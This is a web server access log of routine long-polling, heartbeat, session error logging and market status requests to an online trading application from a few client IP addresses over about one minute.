[09/Jan/2026:13:48:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937991987 HTTP/1.1" -
[09/Jan/2026:13:48:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937985722 HTTP/1.1" -
[09/Jan/2026:13:48:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:48:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:48:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:48:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938003287 HTTP/1.1" -
[09/Jan/2026:13:48:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:48:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937989514 HTTP/1.1" -
[09/Jan/2026:13:48:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937997082 HTTP/1.1" -
[09/Jan/2026:13:48:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937990851 HTTP/1.1" -
[09/Jan/2026:13:48:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938008310 HTTP/1.1" -
[09/Jan/2026:13:48:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937994649 HTTP/1.1" -
[09/Jan/2026:13:48:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938002152 HTTP/1.1" -
[09/Jan/2026:13:48:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:48:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:48:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:48:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:48:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937995907 HTTP/1.1" -
[09/Jan/2026:13:48:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938013334 HTTP/1.1" -
[09/Jan/2026:13:48:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937999778 HTTP/1.1" -
[09/Jan/2026:13:48:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938007257 HTTP/1.1" -
[09/Jan/2026:13:48:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:48:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:48:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938000972 HTTP/1.1" -
[09/Jan/2026:13:48:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:48:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938018399 HTTP/1.1" -
[09/Jan/2026:13:48:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:48:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938004907 HTTP/1.1" -
[09/Jan/2026:13:48:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938012292 HTTP/1.1" -
[09/Jan/2026:13:48:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938006002 HTTP/1.1" -
[09/Jan/2026:13:48:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938023427 HTTP/1.1" -
[09/Jan/2026:13:49:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938010042 HTTP/1.1" -
[09/Jan/2026:13:49:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938017360 HTTP/1.1" -
[09/Jan/2026:13:49:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:49:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:49:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:49:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:49:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938028487 HTTP/1.1" -
[09/Jan/2026:13:49:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938011029 HTTP/1.1" -
[09/Jan/2026:13:49:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938015205 HTTP/1.1" -
[09/Jan/2026:13:49:07 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938022470 HTTP/1.1" -
[09/Jan/2026:13:49:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:49:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:49:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:49:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:49:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938033511 HTTP/1.1" -
[09/Jan/2026:13:49:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938016233 HTTP/1.1" -
[09/Jan/2026:13:49:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938020272 HTTP/1.1" -
[09/Jan/2026:13:49:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938027546 HTTP/1.1" -
[09/Jan/2026:13:49:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938038533 HTTP/1.1" -
[09/Jan/2026:13:49:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938021296 HTTP/1.1" -
[09/Jan/2026:13:49:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938025424 HTTP/1.1" -
[09/Jan/2026:13:49:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938032649 HTTP/1.1" -
[09/Jan/2026:13:49:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:49:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:49:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:49:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:49:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938043629 HTTP/1.1" -
[09/Jan/2026:13:49:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938026383 HTTP/1.1" -
[09/Jan/2026:13:49:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938030560 HTTP/1.1" -
[09/Jan/2026:13:49:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938037727 HTTP/1.1" -
[09/Jan/2026:13:49:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:49:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:49:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:49:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:49:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938048684 HTTP/1.1" -
[09/Jan/2026:13:49:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938031546 HTTP/1.1" -
[09/Jan/2026:13:49:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938035714 HTTP/1.1" -
[09/Jan/2026:13:49:27 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938042755 HTTP/1.1" -
[09/Jan/2026:13:49:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938053757 HTTP/1.1" -
[09/Jan/2026:13:49:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938036579 HTTP/1.1" -
[09/Jan/2026:13:49:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938040854 HTTP/1.1" -
[09/Jan/2026:13:49:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938047862 HTTP/1.1" -
[09/Jan/2026:13:49:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:49:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:49:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:49:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:49:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938058817 HTTP/1.1" -
[09/Jan/2026:13:49:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938041643 HTTP/1.1" -
[09/Jan/2026:13:49:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938045992 HTTP/1.1" -
[09/Jan/2026:13:49:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938052935 HTTP/1.1" -
[09/Jan/2026:13:49:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:49:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:49:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:49:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:49:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938063845 HTTP/1.1" -
[09/Jan/2026:13:49:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938046713 HTTP/1.1" -
[09/Jan/2026:13:49:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938051054 HTTP/1.1" -
[09/Jan/2026:13:49:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938058040 HTTP/1.1" -
[09/Jan/2026:13:49:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938068870 HTTP/1.1" -
[09/Jan/2026:13:49:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938051775 HTTP/1.1" -
[09/Jan/2026:13:49:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938056189 HTTP/1.1" -
[09/Jan/2026:13:49:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938063139 HTTP/1.1" -
